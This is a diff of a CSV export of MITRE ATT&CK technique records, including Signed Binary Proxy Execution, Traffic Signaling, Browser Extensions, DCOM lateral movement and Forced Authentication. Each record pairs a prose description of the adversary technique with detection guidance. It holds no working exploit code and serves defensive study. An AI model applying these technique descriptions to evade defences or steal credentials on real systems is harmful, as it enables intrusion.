(Citation: ADDSecurity DCShadow Feb 2018) -Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1203', external_id='T1203')]",attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-28 19:06:02.690000+00:00,Exploitation for Client Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",,,,,False,,,,"['Linux', 'Windows', 'macOS']",True,['Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.'],,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218', external_id='T1218')]",attack-pattern--457c7820-d331-465a-915e-42f85500ccc4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-01-20 18:12:12.134000+00:00,Signed Binary Proxy Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Nishan Maharjan, @loki248', 'Hans Christoffer Gaardløs', 'Praetorian']","['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Connection Creation']","['Anti-virus', 'Application control', 'Digital Certificate Validation']",,,,"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. +Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) -Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",,,,,False,,,"['User', 'Administrator']",['Windows'],,,,2.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. +Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",False,['Administrator'],['Windows'],2.0,,,,,,, +attack-pattern,attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-09-01T00:57:01.576Z,Signed Script Proxy Execution,Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List),"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1216', 'external_id': 'T1216'}, {'source_name': 'GitHub Ultimate AppLocker Bypass List', 'description': 'Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', 'url': 'https://github.com/api0cradle/UltimateAppLockerByPassList'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']","['Application control', 'Digital Certificate Validation']","Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",False,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--451a9977-d255-43c9-b431-66de80130c8c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-02-17T14:23:49.495Z,Traffic Signaling,"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). @@ -2971,11 +3204,10 @@ The observation of the signal packets to trigger the communication can be conduc On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. -Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1205', external_id='T1205'), ExternalReference(source_name='Hartrell cd00r 2002', description='Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', url='https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'), ExternalReference(source_name='FireEye - Synful Knock', description='Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.', url='https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'), ExternalReference(source_name='Bleeping Computer - Ryuk WoL', description='Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', url='https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'), ExternalReference(source_name='AMD Magic Packet', description='AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.', url='https://www.amd.com/system/files/TechDocs/20213.pdf'), ExternalReference(source_name='GitLab WakeOnLAN', description='Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.', url='https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN')]",attack-pattern--451a9977-d255-43c9-b431-66de80130c8c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2021-02-17 14:23:49.495000+00:00,Traffic Signaling,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Josh Day, Gigamon']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",['Defensive network service scanning'],,,,"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. +Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1205', 'external_id': 'T1205'}, {'source_name': 'Hartrell cd00r 2002', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'FireEye - Synful Knock', 'description': 'Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'}, {'source_name': 'AMD Magic Packet', 'description': 'AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.', 'url': 'https://www.amd.com/system/files/TechDocs/20213.pdf'}, {'source_name': 'GitLab WakeOnLAN', 'description': 'Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.', 'url': 'https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Josh Day, Gigamon']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",['Defensive network service scanning'],"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. -The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",,,,,False,True,,['User'],"['Linux', 'macOS', 'Windows', 'Network']",,,,2.2 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List),"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1216', external_id='T1216'), ExternalReference(source_name='GitHub Ultimate AppLocker Bypass List', description='Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', url='https://github.com/api0cradle/UltimateAppLockerByPassList')]",attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:39:47.559000+00:00,Signed Script Proxy Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']","['Application control', 'Digital Certificate Validation']",,,,"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",,,,,False,,,['User'],['Windows'],,,,1.1 -2018-01-16 16:13:52.465000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) +The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",False,['User'],"['Linux', 'macOS', 'Windows', 'Network']",2.2,,,True,,,, +attack-pattern,attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-01-16T16:13:52.465Z,2021-04-27T19:56:54.161Z,Browser Extensions,"Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions. @@ -2983,27 +3215,12 @@ Previous to macOS 11, adversaries could silently install browser extensions via Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. -There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1176', external_id='T1176'), ExternalReference(source_name='Wikipedia Browser Extension', description='Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.', url='https://en.wikipedia.org/wiki/Browser_extension'), ExternalReference(source_name='Chrome Extensions Definition', description='Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.', url='https://developer.chrome.com/extensions'), ExternalReference(source_name='Malicious Chrome Extension Numbers', description='Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.', url='https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf'), ExternalReference(source_name='xorrior chrome extensions macOS', description='Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.', url='https://www.xorrior.com/No-Place-Like-Chrome/'), ExternalReference(source_name='Chrome Extension Crypto Miner', description='Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.', url='https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/'), ExternalReference(source_name='ICEBRG Chrome Extensions', description='De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', url='https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses'), ExternalReference(source_name='Banker Google Chrome Extension Steals Creds', description='Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.', url='https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/'), ExternalReference(source_name='Catch All Chrome Extension', description='Marinho, R. (n.d.). ""Catch-All"" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.', url='https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)'), ExternalReference(source_name='Stantinko Botnet', description='Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.', url='https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/'), ExternalReference(source_name='Chrome Extension C2 Malware', description='Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.', url='https://kjaer.io/extension-malware/')]",attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-27 19:56:54.161000+00:00,Browser Extensions,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Chris Ross @xorrior', 'Justin Warner, ICEBRG']","['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation']",,,,,"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. +There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1176', 'external_id': 'T1176'}, {'source_name': 'Wikipedia Browser Extension', 'description': 'Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.', 'url': 'https://en.wikipedia.org/wiki/Browser_extension'}, {'source_name': 'Chrome Extensions Definition', 'description': 'Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.', 'url': 'https://developer.chrome.com/extensions'}, {'source_name': 'Malicious Chrome Extension Numbers', 'description': 'Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.', 'url': 'https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf'}, {'source_name': 'xorrior chrome extensions macOS', 'description': 'Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.', 'url': 'https://www.xorrior.com/No-Place-Like-Chrome/'}, {'source_name': 'Chrome Extension Crypto Miner', 'description': 'Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.', 'url': 'https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/'}, {'source_name': 'ICEBRG Chrome Extensions', 'description': 'De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', 'url': 'https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses'}, {'source_name': 'Banker Google Chrome Extension Steals Creds', 'description': 'Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.', 'url': 'https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/'}, {'source_name': 'Catch All Chrome Extension', 'description': 'Marinho, R. (n.d.). ""Catch-All"" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.', 'url': 'https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)'}, {'source_name': 'Stantinko Botnet', 'description': 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.', 'url': 'https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/'}, {'source_name': 'Chrome Extension C2 Malware', 'description': 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.', 'url': 'https://kjaer.io/extension-malware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Chris Ross @xorrior', 'Justin Warner, ICEBRG']","['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation']",,"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. -On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.2 -2018-01-16 16:13:52.465000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).** - -Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. - -COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019) - -Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM. - -Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) - -Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1175', external_id='T1175'), ExternalReference(source_name='Fireeye Hunting COM June 2019', description='Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', url='https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'), ExternalReference(source_name='Microsoft COM', description='Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'), ExternalReference(source_name='Microsoft COM ACL', description='Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.', url='https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1'), ExternalReference(source_name='Microsoft Process Wide Com Keys', description='Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.', url='https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx'), ExternalReference(source_name='Microsoft System Wide Com Keys', description='Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.', url='https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx'), ExternalReference(source_name='ProjectZero File Write EoP Apr 2018', description='Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.', url='https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'), ExternalReference(source_name='Enigma Outlook DCOM Lateral Movement Nov 2017', description=""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", url='https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'), ExternalReference(source_name='Enigma MMC20 COM Jan 2017', description='Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'), ExternalReference(source_name='Enigma DCOM Lateral Movement Jan 2017', description='Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'), ExternalReference(source_name='Enigma Excel DCOM Sept 2017', description='Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/'), ExternalReference(source_name='Cyberreason DCOM DDE Lateral Movement Nov 2017', description='Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.', url='https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom')]",attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-30 13:36:10.069000+00:00,Component Object Model and Distributed COM,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) - -Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. - -Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",,,,,False,,,"['Administrator', 'SYSTEM', 'User']",['Windows'],True,,,2.0 -2018-01-16 16:13:52.465000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. +On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",False,['User'],"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-01-16T16:13:52.465Z,2020-06-19T17:16:41.470Z,Forced Authentication,"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. @@ -3014,19 +3231,26 @@ Adversaries may take advantage of 